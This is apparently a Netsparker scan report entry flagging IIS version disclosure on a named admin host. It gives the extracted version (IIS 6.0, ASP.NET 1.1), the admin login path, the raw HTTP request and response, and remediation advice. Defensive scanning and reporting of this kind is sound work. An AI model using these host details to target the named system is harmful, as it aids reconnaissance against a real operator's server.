<html><head><title>Error</title></head><body><head><title>Directory Listing Denied</title></head><body><h1>Directory Listing Denied</h1>This Virtual Directory does not allow contents to be listed.</body></body></html>
IIS Version Disclosure

IIS Version Disclosure

1 TOTAL
INFORMATION
Netsparker identified that the target web server is disclosing the web server's version in the HTTP response. This information can help an attacker to gain a greater understanding of the system in use and potentially develop further attacks targeted at the specific web server version.

Impact

An attacker can look for specific security vulnerabilities for the version identified through the SERVER header information.

Remediation

Configure your web server to prevent information leakage from the SERVER header of its HTTP response.
- /

/

https://admin.iconnection.com/

Extracted Version

Microsoft-IIS/6.0

Request

GET / HTTP/1.1
Referer: https://admin.iconnection.com/login.aspx
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322)
Cache-Control: no-cache
Host: admin.iconnection.com
Accept-Encoding: gzip, deflate
Connection: Keep-Alive

Response

HTTP/1.1 302 Found
Date: Mon, 02 May 2011 15:18:18 GMT
Server: Microsoft-IIS/6.0
X-Powered-By: ASP.NET
X-AspNet-Version: 1.1.4322
Location: /login.aspx?ReturnUrl=%2fDefault.aspx
Cache-Control: private
Content-Type: text/html; charset=utf-8
Content-Length: 154


<html><head><title>Object moved</title></head><body>
<h2>Object moved to <a href='/login.aspx?ReturnUrl=%2fDefault.aspx'>here</a>.</h2>
</body></html>